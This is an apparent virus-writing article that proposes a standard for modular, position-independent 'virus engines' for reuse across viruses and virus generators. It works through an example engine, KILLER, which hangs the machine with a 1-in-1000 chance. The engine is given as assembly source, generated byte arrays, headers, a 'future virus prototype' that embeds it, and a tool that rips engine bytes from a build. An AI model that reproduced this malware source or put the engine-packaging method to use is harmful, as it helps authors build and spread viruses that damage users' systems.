ENGINE is an independend virus module, represented in binary and/or source form.
Virus engines are very similar to C/C++ classes (objects), and has many identical properties. These both substances are directed to modularity. The only difference is that C++ class has larger interface part while virus engine is oriented to implementation.
Today virus engines are on the same step as programs was many years ago, when OOP was only introduced. And now is time to change.
This text was written with a single goal: to denote characterictics of virus engine, which will make it handy and useful.
An idea to write this text appeared right after i understood all the advantages of using independent components (modules) in virus writing. And there were written the following engines: LDE32, KME's, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO and MISTFALL, having mostly all the properties signed in this text.
But even this little attempt to standartize these engines showed me all the importance of standartization. Here should be said that such standartization has an influence mostly on interface part of the engine, while implementation in most cases remains the same. And, for sure, it will not simplify avers work.
Engine must be accompanied by some documentation, where the folloing things should be described:
Using all the features listed above, the engine code become independend from OS, ring0/3 and offset where engine is located. Such code can be permutated, i.e. any instructions can be easily analyzed and moved and/or replaced. Code or sources of such engines can be easily used by any other engines or viruses, virus constructors or generators, or turned into virus plugins.
Moreover, the task of linking asm- and cpp- code without using .obj files is solved.
Engine: KILLER. Goal: hangup with probability of 1/1000.
Source file:
Generated ASM include file:
The same, but in C/C++:
ASM header file:
C/C++ header file:
Usage example, in ASM:
Usage example, C/C++:
Example program to compile engine:
Example program to rip engine in binary (DB,DB,...) form
from the previous file.
Now, lets take a look into example.asm --
the future virus prototype. This file uses engine, an engine uses external
randomer, and randomer uses randseed which is initialized within main
virus body. As a result, many engines can call the same rnd(),
or file io functions, or each other in one way - via this common
structure, which is equivalent to main object.
As you can see, this all is written without absolute offsets at all,
and can be used anywhere.
<
----[begin KILLER.ASM]--------------------------------------------------
; KILLER engine version 1.00 FREEWARE
; action: hangup with probability of 1/1000;
; CDECL calling convention;
; 5 arguments;
; no return value, no registers modified
killer_engine proc c
arg user_param ; user-data
arg user_random ; external randomer
arg arg1
arg arg2 ; other parameters
arg arg3
pusha
cld
;;
push 1000
push user_param ; maybe ptr to some struct
call user_random ; call external subroutine
add esp, 8
;;
cmp eax, 666
je $
;;
popa
ret ; TASM produces LEAVE+RETN
endp
----[end KILLER.ASM]----------------------------------------------------
----[begin KILLER.INC]--------------------------------------------------
; GENERATED FILE. DO NOT EDIT.
; KILLER 1.00 engine
killer_engine_size equ 30
killer_engine:
db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
db 000h,074h,0FEh,061h,0C9h,0C3h
----[end KILLER.INC]----------------------------------------------------
----[begin KILLER.CPP]--------------------------------------------------
// GENERATED FILE. DO NOT EDIT.
// KILLER 1.00 engine
#define killer_engine_size 30
BYTE killer_engine_bin[killer_engine_size] =
{
0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
0x00,0x74,0xFE,0x61,0xC9,0xC3
};
----[end KILLER.CPP]----------------------------------------------------
----[begin KILLER.ASH]--------------------------------------------------
; KILLER 1.00 engine
KILLER_VERSION equ 0100h
----[end KILLER.ASH]----------------------------------------------------
----[begin KILLER.HPP]--------------------------------------------------
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__
#define KILLER_VERSION 0x0100
typedef
void __cdecl killer_engine(
DWORD user_param, // user-parameter
DWORD __cdecl user_random(DWORD user_param, DWORD range),
DWORD arg1,
DWORD arg2,
DWORD arg3);
#endif //__KILLER_HPP__
----[end KILLER.HPP]----------------------------------------------------
----[begin EXAMPLE.ASM]-------------------------------------------------
; KILLER 1.00 usage example
include killer.ash
callW macro x
extern x:PROC
call x
endm
v_data struc
v_randseed dd ?
; ...
ends
p386
model flat
locals __
.data
dd ?
.code
start: call virus_code
push -1
callW ExitProcess
virus_code: pusha
sub esp, size v_data
mov ebp, esp
;;
callW GetTickCount
xor [ebp].v_randseed, eax ; randomize
;;
push 3
push 2 ; parameters
push 1
call $+5+2 ; push pointer to randomer
jmp short my_random
push ebp ; user-param == v_data ptr
call killer_engine
add esp, 4*5
;;
add esp, size v_data
popa
retn
; DWORD __cdecl random(DWORD user_param, DWORD range)
; [esp+4] [esp+8]
my_random: mov ecx, [esp+4] ; v_data ptr
mov eax, [ecx].v_randseed
imul eax, 214013
add eax, 2531011
mov [ecx].v_randseed, eax
shr eax, 16
imul eax, [esp+8]
shr eax, 16
retn
;killer_engine:
include killer.inc
virus_size equ $-virus_code
end start
----[end EXAMPLE.ASM]---------------------------------------------------
----[begin EXAMPLE.CPP]-------------------------------------------------
#include <windows.h>
#pragma hdrstop
#include "killer.hpp"
#include "killer.cpp"
struct v_struct
{
DWORD rseed;
//...
};
DWORD __cdecl my_random(DWORD user_arg, DWORD range)
{
v_struct* v = (v_struct*) user_arg;
return range ? (v->rseed = v->rseed * 214013 + 2531011) % range : 0;
}
void main()
{
v_struct* v_data = (v_struct*) GlobalAlloc( GPTR, sizeof(v_struct) );
v_data->rseed = GetTickCount(); // randomize
void* engine_ptr = &killer_engine_bin;
(*(killer_engine*)engine_ptr)((DWORD)v_data, my_random, 1,2,3);
}
----[end EXAMPLE.CPP]---------------------------------------------------
----[begin BUILD.ASM]---------------------------------------------------
p386
model flat
locals __
.data
db 0EBh,02h,0FFh,01h ; signature
include killer.asm
db 0EBh,02h,0FFh,02h ; signature
.code
start: push -1
callW ExitProcess
end start
----[end BUILD.ASM]-----------------------------------------------------
----[begin HAXOR.CPP]---------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#pragma hdrstop
void main()
{
FILE*f=fopen("build.exe","rb");
int bufsize = filelength(fileno(f));
BYTE* buf = new BYTE[bufsize+1];
fread(buf, 1,bufsize, f);
fclose(f);
int id1=0, id2=0;
for (int i=0; i<bufsize; i++)
{
if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4; // check signature
if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i; // check signature
}
f=fopen("killer.inc","wb");
fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
fprintf(f,"; KILLER 1.00 engine\r\n");
fprintf(f,"killer_size equ %i\r\n", id2-id1);
fprintf(f,"killer_engine:\r\n", id2-id1);
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f,"db ");
fprintf(f,"0%02Xh", buf[id1+i]);
if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
}
fclose(f);
f=fopen("killer.cpp","wb");
fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
fprintf(f,"// KILLER 1.00 engine\r\n");
fprintf(f,"#define killer_engine_size %i\r\n",id2-id1);
fprintf(f,"BYTE killer_engine_bin[killer_engine_size] = {\r\n");
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f," ");
fprintf(f,"0x%02X", buf[id1+i]);
if (i!=id2-id1-1) fprintf(f,",");
if ((i%8)==7) fprintf(f,"\r\n");
}
fprintf(f," };\r\n");
fclose(f);
}
----[end HAXOR.CPP]-----------------------------------------------------